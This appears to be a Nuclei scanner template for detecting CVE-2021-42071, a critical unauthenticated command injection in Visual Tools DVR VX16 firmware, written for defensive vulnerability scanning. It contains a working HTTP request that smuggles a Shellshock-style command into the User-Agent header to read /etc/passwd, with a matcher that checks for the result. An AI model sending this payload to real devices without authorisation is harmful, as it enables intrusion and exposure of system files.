id: CVE-2021-42071

info:
  name: Visual Tools DVR VX16 4.2.28.0 - Unauthenticated OS Command Injection
  author: gy741
  severity: critical
  description: Visual Tools DVR VX16 4.2.28.0 could allow an unauthenticated, remote attacker to perform command injection attacks against an affected device.
  remediation: |
    Apply the latest security patch or update provided by the vendor to fix the command injection vulnerability in the Visual Tools DVR VX16 4.2.28.0 device.
  reference:
    - https://www.exploit-db.com/exploits/50098
    - https://nvd.nist.gov/vuln/detail/CVE-2021-42071
    - https://visual-tools.com/
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2021-42071
    cwe-id: CWE-78
    epss-score: 0.95761
    epss-percentile: 0.99262
    cpe: cpe:2.3:o:visual-tools:dvr_vx16_firmware:4.2.28.0:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: visual-tools
    product: dvr_vx16_firmware
  tags: edb,cve,cve2021,visualtools,rce,oast,injection

http:
  - raw:
      - |
        GET /cgi-bin/slogin/login.py HTTP/1.1
        Host: {{Hostname}}
        Accept: */*
        User-Agent: () { :; }; echo ; echo ; /bin/cat /etc/passwd

    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - "root:.*:0:0:"

      - type: status
        status:
          - 200

# digest: 490a0046304402200b821747506a033aea71e871b6b415810b07d0e92128ee9947cc2f77e9dc54e402204d82d9a47f70ee69d3b10e082baebce82d8b3137f9479811e034f6cf6e40cca8:922c64590222798bb761d5b6d8e72950